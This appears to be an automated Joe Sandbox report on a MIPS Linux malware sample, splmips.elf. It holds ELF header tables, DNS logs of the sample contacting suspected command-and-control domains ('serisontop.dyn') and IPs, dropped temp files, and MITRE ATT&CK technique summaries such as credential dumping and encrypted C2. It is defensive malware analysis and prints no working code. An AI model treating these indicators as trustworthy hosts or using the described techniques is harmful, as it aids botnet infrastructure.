File Content Preview:	.ELF.....................@.`...4..6......4. ...(.............@...@....0...0...............0..E0..E0....X...4........dt.Q............................<...'......!'.......................<...'......!... ....'9... ......................<...'......!........'9!

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	79560
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x12080	0x0	0x6	AX	16
.fini	PROGBITS	0x4121a0	0x121a0	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x412200	0x12200	0xe00	0x0	0x2	A	16
.ctors	PROGBITS	0x453004	0x13004	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x45300c	0x1300c	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x453014	0x13014	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x453018	0x13018	0xe0	0x0	0x3	WA	4
.data	PROGBITS	0x453100	0x13100	0x190	0x0	0x3	WA	16
.got	PROGBITS	0x453290	0x13290	0x3cc	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x45365c	0x1365c	0x20	0x0	0x10000003	WAp	4
.bss	NOBITS	0x453680	0x1365c	0x11b8	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x774	0x1365c	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x1365c	0x69	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x13000	0x13000	5.5137	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x13004	0x453004	0x453004	0x658	0x1834	3.7293	0x6	RW	0x10000	.ctors .dtors .jcr .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 04:05:44.667975903 CET	192.168.2.23	202.61.197.122	0x249c	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:05:56.474189997 CET	192.168.2.23	202.61.197.122	0x8256	Standard query (0)	serisbot.geek. [malformed]	256	276	false
Dec 24, 2024 04:06:08.982697964 CET	192.168.2.23	194.36.144.87	0xe879	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:06:21.457458973 CET	192.168.2.23	202.61.197.122	0x9b0d	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:06:34.030814886 CET	192.168.2.23	168.235.111.72	0x947e	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:06:46.569731951 CET	192.168.2.23	194.36.144.87	0xed34	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:06:59.051969051 CET	192.168.2.23	152.53.15.127	0xd9f2	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:07:10.857794046 CET	192.168.2.23	185.181.61.24	0x915e	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:07:23.432280064 CET	192.168.2.23	168.235.111.72	0x4147	Standard query (0)	serisbot.geek. [malformed]	256	363	false
Dec 24, 2024 04:07:35.974680901 CET	192.168.2.23	185.181.61.24	0x9ec0	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 04:05:44.910851002 CET	202.61.197.122	192.168.2.23	0x249c	No error (0)	serisontop.dyn	154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:05:44.910851002 CET	202.61.197.122	192.168.2.23	0x249c	No error (0)	serisontop.dyn	209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:05:44.910851002 CET	202.61.197.122	192.168.2.23	0x249c	No error (0)	serisontop.dyn	154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:06:09.229914904 CET	194.36.144.87	192.168.2.23	0xe879	No error (0)	serisontop.dyn	209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:06:09.229914904 CET	194.36.144.87	192.168.2.23	0xe879	No error (0)	serisontop.dyn	154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:06:09.229914904 CET	194.36.144.87	192.168.2.23	0xe879	No error (0)	serisontop.dyn	154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:06:21.706556082 CET	202.61.197.122	192.168.2.23	0x9b0d	No error (0)	serisontop.dyn	154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:06:21.706556082 CET	202.61.197.122	192.168.2.23	0x9b0d	No error (0)	serisontop.dyn	209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:06:21.706556082 CET	202.61.197.122	192.168.2.23	0x9b0d	No error (0)	serisontop.dyn	154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:06:34.339667082 CET	168.235.111.72	192.168.2.23	0x947e	No error (0)	serisontop.dyn	154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:06:34.339667082 CET	168.235.111.72	192.168.2.23	0x947e	No error (0)	serisontop.dyn	209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:06:34.339667082 CET	168.235.111.72	192.168.2.23	0x947e	No error (0)	serisontop.dyn	154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:06:46.809344053 CET	194.36.144.87	192.168.2.23	0xed34	No error (0)	serisontop.dyn	209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:06:46.809344053 CET	194.36.144.87	192.168.2.23	0xed34	No error (0)	serisontop.dyn	154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:06:46.809344053 CET	194.36.144.87	192.168.2.23	0xed34	No error (0)	serisontop.dyn	154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:06:59.303289890 CET	152.53.15.127	192.168.2.23	0xd9f2	No error (0)	serisontop.dyn	209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:06:59.303289890 CET	152.53.15.127	192.168.2.23	0xd9f2	No error (0)	serisontop.dyn	154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:06:59.303289890 CET	152.53.15.127	192.168.2.23	0xd9f2	No error (0)	serisontop.dyn	154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:07:11.113723040 CET	185.181.61.24	192.168.2.23	0x915e	No error (0)	serisontop.dyn	209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:07:11.113723040 CET	185.181.61.24	192.168.2.23	0x915e	No error (0)	serisontop.dyn	154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:07:11.113723040 CET	185.181.61.24	192.168.2.23	0x915e	No error (0)	serisontop.dyn	154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:07:36.231585979 CET	185.181.61.24	192.168.2.23	0x9ec0	No error (0)	serisontop.dyn	154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:07:36.231585979 CET	185.181.61.24	192.168.2.23	0x9ec0	No error (0)	serisontop.dyn	209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:07:36.231585979 CET	185.181.61.24	192.168.2.23	0x9ec0	No error (0)	serisontop.dyn	154.216.16.244	A (IP address)	IN (0x0001)	false

Start time (UTC):	03:05:42
Start date (UTC):	24/12/2024
Path:	/tmp/splmips.elf
Arguments:	/tmp/splmips.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report splmips.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.05oRy0 (deleted)

/tmp/qemu-open.07WHA3 (deleted)

/tmp/qemu-open.0PkGL0 (deleted)

/tmp/qemu-open.1tBI93 (deleted)

/tmp/qemu-open.23B4e3 (deleted)

/tmp/qemu-open.2KdxO1 (deleted)

/tmp/qemu-open.2Owpw1 (deleted)

/tmp/qemu-open.2q5kd1 (deleted)

/tmp/qemu-open.33Y8P1 (deleted)

/tmp/qemu-open.3F25L3 (deleted)

/tmp/qemu-open.3bd0N1 (deleted)

/tmp/qemu-open.455wQ4 (deleted)

/tmp/qemu-open.49C4Q4 (deleted)

/tmp/qemu-open.49nY83 (deleted)

/tmp/qemu-open.4IUUb1 (deleted)

/tmp/qemu-open.4Rbvx0 (deleted)

/tmp/qemu-open.4W2NN1 (deleted)

/tmp/qemu-open.4ZnfO0 (deleted)

/tmp/qemu-open.4ezuP3 (deleted)

/tmp/qemu-open.5FKrA2 (deleted)

/tmp/qemu-open.5s4mM3 (deleted)

/tmp/qemu-open.6cW1B0 (deleted)

/tmp/qemu-open.6slEV1 (deleted)

/tmp/qemu-open.6sxLX1 (deleted)

/tmp/qemu-open.74ept0 (deleted)

/tmp/qemu-open.7K2bC0 (deleted)

/tmp/qemu-open.7ksnT0 (deleted)

/tmp/qemu-open.8DraH3 (deleted)

/tmp/qemu-open.8LTVo3 (deleted)

/tmp/qemu-open.8YfKq3 (deleted)

/tmp/qemu-open.9QS9b3 (deleted)

/tmp/qemu-open.AaGhW2 (deleted)

/tmp/qemu-open.BH0yK3 (deleted)

/tmp/qemu-open.Bcl0P1 (deleted)

Linux Analysis Report
splmips.elf

Start time (UTC):	03:05:43
Start date (UTC):	24/12/2024
Path:	/tmp/splmips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre